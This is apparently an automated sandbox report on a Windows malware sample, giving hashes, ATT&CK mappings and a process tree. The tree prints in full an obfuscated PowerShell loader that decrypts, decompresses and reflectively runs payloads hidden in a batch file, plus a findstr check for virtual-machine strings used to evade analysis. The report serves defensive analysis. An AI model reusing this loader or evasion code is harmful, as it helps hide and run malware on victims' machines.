80dfa383874c9458bd67b255fde1a6d6181807bda659ce70f989784094dba918

Analysis

max time kernel
129s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
23/08/2024, 17:29

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General

Target

file.exe
Size

2.2MB
MD5

f06c54ee336f52fdc772b069a87f11a3
SHA1

aeac1f167a0416708104edc96aa7d451e0b3ddfc
SHA256

80dfa383874c9458bd67b255fde1a6d6181807bda659ce70f989784094dba918
SHA512

8e75dc2787bc84efcc3deb688628d74cbdfefe8c851d97c916b4bfc177adb2436b0b6decfffb9262089d1b0ab7501e95090f1837ffed3d330164bc2532ecf5e8
SSDEEP

49152:cEHtPBsU7o5PiiTcMGCVmbikTDKytL5pNYtCLzILWMhS+/Kpo0zPV:cyDvoPia7VmJKy48Vn+/gdV

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3608	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	file.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2364	3608	WerFault.exe	95

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3608	powershell.exe
3608	powershell.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3156	WMIC.exe
Token: SeSecurityPrivilege	3156	WMIC.exe
Token: SeTakeOwnershipPrivilege	3156	WMIC.exe
Token: SeLoadDriverPrivilege	3156	WMIC.exe
Token: SeSystemProfilePrivilege	3156	WMIC.exe
Token: SeSystemtimePrivilege	3156	WMIC.exe
Token: SeProfSingleProcessPrivilege	3156	WMIC.exe
Token: SeIncBasePriorityPrivilege	3156	WMIC.exe
Token: SeCreatePagefilePrivilege	3156	WMIC.exe
Token: SeBackupPrivilege	3156	WMIC.exe
Token: SeRestorePrivilege	3156	WMIC.exe
Token: SeShutdownPrivilege	3156	WMIC.exe
Token: SeDebugPrivilege	3156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3156	WMIC.exe
Token: SeRemoteShutdownPrivilege	3156	WMIC.exe
Token: SeUndockPrivilege	3156	WMIC.exe
Token: SeManageVolumePrivilege	3156	WMIC.exe
Token: 33	3156	WMIC.exe
Token: 34	3156	WMIC.exe
Token: 35	3156	WMIC.exe
Token: 36	3156	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3156	WMIC.exe
Token: SeSecurityPrivilege	3156	WMIC.exe
Token: SeTakeOwnershipPrivilege	3156	WMIC.exe
Token: SeLoadDriverPrivilege	3156	WMIC.exe
Token: SeSystemProfilePrivilege	3156	WMIC.exe
Token: SeSystemtimePrivilege	3156	WMIC.exe
Token: SeProfSingleProcessPrivilege	3156	WMIC.exe
Token: SeIncBasePriorityPrivilege	3156	WMIC.exe
Token: SeCreatePagefilePrivilege	3156	WMIC.exe
Token: SeBackupPrivilege	3156	WMIC.exe
Token: SeRestorePrivilege	3156	WMIC.exe
Token: SeShutdownPrivilege	3156	WMIC.exe
Token: SeDebugPrivilege	3156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3156	WMIC.exe
Token: SeRemoteShutdownPrivilege	3156	WMIC.exe
Token: SeUndockPrivilege	3156	WMIC.exe
Token: SeManageVolumePrivilege	3156	WMIC.exe
Token: 33	3156	WMIC.exe
Token: 34	3156	WMIC.exe
Token: 35	3156	WMIC.exe
Token: 36	3156	WMIC.exe
Token: SeDebugPrivilege	3608	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4628 wrote to memory of 3136	4628	file.exe	87
PID 4628 wrote to memory of 3136	4628	file.exe	87
PID 4628 wrote to memory of 3136	4628	file.exe	87
PID 3136 wrote to memory of 3156	3136	cmd.exe	90
PID 3136 wrote to memory of 3156	3136	cmd.exe	90
PID 3136 wrote to memory of 3156	3136	cmd.exe	90
PID 3136 wrote to memory of 2944	3136	cmd.exe	91
PID 3136 wrote to memory of 2944	3136	cmd.exe	91
PID 3136 wrote to memory of 2944	3136	cmd.exe	91
PID 3136 wrote to memory of 1964	3136	cmd.exe	94
PID 3136 wrote to memory of 1964	3136	cmd.exe	94
PID 3136 wrote to memory of 1964	3136	cmd.exe	94
PID 3136 wrote to memory of 3608	3136	cmd.exe	95
PID 3136 wrote to memory of 3608	3136	cmd.exe	95
PID 3136 wrote to memory of 3608	3136	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7z788F8214\onitest.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic diskdrive get Manufacturer,Model
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3156
- - C:\Windows\SysWOW64\findstr.exe
    findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"Standard PC (Q35 + ICH9, 2009)" /c:"innotek GmbH" /c:"VirtualBox" /c:"Compute Engine" /c:"Supermicro"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2944
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function VxWFO($fEFcX){ $wYcHJ=[System.Security.Cryptography.Aes]::Create(); $wYcHJ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $wYcHJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $wYcHJ.Key=[System.Convert]::FromBase64String('mbloPEknf1TwaS6SK0+bcsM1DbtN30rzhG1qypXEfHs='); $wYcHJ.IV=[System.Convert]::FromBase64String('me2XyZir0Pd2lyw9aW1tVQ=='); $DRUeH=$wYcHJ.CreateDecryptor(); $aPWFg=$DRUeH.TransformFinalBlock($fEFcX, 0, $fEFcX.Length); $DRUeH.Dispose(); $wYcHJ.Dispose(); $aPWFg;}function NMDkA($fEFcX){ IEX '$jtKnX=New-Object System.IO.M*em*or*yS*tr*ea*m(,$fEFcX);'.Replace('*', ''); IEX '$qIDMr=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$WzKKY=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($jtKnX, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $WzKKY.CopyTo($qIDMr); $WzKKY.Dispose(); $jtKnX.Dispose(); $qIDMr.Dispose(); $qIDMr.ToArray();}function sFVdN($fEFcX,$riShO){ IEX '$hexoC=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$fEFcX);'.Replace('*', ''); IEX '$kwGhc=$hexoC.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$kwGhc.*I*n*v*o*k*e*($null, $riShO);'.Replace('*', '');}$zbcdR = 'C:\Users\Admin\AppData\Local\Temp\7z788F8214\onitest.bat';$host.UI.RawUI.WindowTitle = $zbcdR;$uAjCx=[System.IO.File]::ReadAllText($zbcdR).Split([Environment]::NewLine);foreach ($xhrJZ in $uAjCx) { if ($xhrJZ.StartsWith(':: ')) { $wfcOv=$xhrJZ.Substring(3); break; }}$ZVkiY=[string[]]$wfcOv.Split('\');IEX '$OCqxy=NMDkA (VxWFO ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($ZVkiY[0])));'.Replace('*', '');IEX '$YxHLS=NMDkA (VxWFO ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($ZVkiY[1])));'.Replace('*', '');sFVdN $OCqxy $null;sFVdN $YxHLS (,[string[]] ('')); "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1964
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3608
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3608 -s 1796
      4⤵
      Program crash
      PID:2364

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 3608 -ip 3608
1⤵
PID:3204

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\7z788F8214\onitest.bat

Filesize
3.5MB

MD5
d01d6cdfbc82758617945d545d134145

SHA1
e64bd9b5e7fd0ccc63a0c3a78c5a2dcab6e54903

SHA256
f8d2db6c5112ec887156b6184a6cc4a93ac88f3896422fec03034bd9a5575d9a

SHA512
fe2d0ac4c341ddff3dc4ce22cd4eab83e06c87612a462ee11d7c83b666a2b68182e6c78b0d18b8b3fce4e7e5848a929b6fe4fa8ab4c2354b531008a7c6edf717

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r0kaeosg.1pv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3608-22-0x0000000006300000-0x0000000006654000-memory.dmp

Filesize
3.3MB

Download
memory/3608-23-0x0000000006830000-0x000000000684E000-memory.dmp

Filesize
120KB

Download
memory/3608-8-0x00000000059B0000-0x0000000005FD8000-memory.dmp

Filesize
6.2MB

Download
memory/3608-9-0x0000000073B90000-0x0000000074340000-memory.dmp

Filesize
7.7MB

Download
memory/3608-10-0x0000000005940000-0x0000000005962000-memory.dmp

Filesize
136KB

Download
memory/3608-11-0x0000000006210000-0x0000000006276000-memory.dmp

Filesize
408KB

Download
memory/3608-6-0x0000000005340000-0x0000000005376000-memory.dmp

Filesize
216KB

Download
memory/3608-12-0x0000000006280000-0x00000000062E6000-memory.dmp

Filesize
408KB

Download
memory/3608-5-0x0000000073B9E000-0x0000000073B9F000-memory.dmp

Filesize
4KB

Download
memory/3608-7-0x0000000073B90000-0x0000000074340000-memory.dmp

Filesize
7.7MB

Download
memory/3608-24-0x0000000006870000-0x00000000068BC000-memory.dmp

Filesize
304KB

Download
memory/3608-25-0x0000000006DA0000-0x0000000006DE4000-memory.dmp

Filesize
272KB

Download
memory/3608-26-0x0000000007B30000-0x0000000007BA6000-memory.dmp

Filesize
472KB

Download
memory/3608-27-0x0000000008230000-0x00000000088AA000-memory.dmp

Filesize
6.5MB

Download
memory/3608-28-0x0000000007BD0000-0x0000000007BEA000-memory.dmp

Filesize
104KB

Download
memory/3608-29-0x0000000007CB0000-0x0000000007CBA000-memory.dmp

Filesize
40KB

Download
memory/3608-30-0x0000000007F50000-0x0000000008174000-memory.dmp

Filesize
2.1MB

Download
memory/3608-31-0x000000000AE60000-0x000000000B404000-memory.dmp

Filesize
5.6MB

Download
memory/3608-33-0x0000000073B90000-0x0000000074340000-memory.dmp

Filesize
7.7MB

Download
memory/3608-32-0x0000000073B9E000-0x0000000073B9F000-memory.dmp

Filesize
4KB

Download